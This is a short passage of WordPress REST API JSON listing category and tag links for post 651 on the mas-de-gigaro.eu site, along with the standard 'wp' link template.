ategory","embeddable":true,"href":"https:\/\/www.mas-de-gigaro.eu\/wp-json\/wp\/v2\/categories?post=651"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.mas-de-gigaro.eu\/wp-json\/wp\/v2\/tags?post=651"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}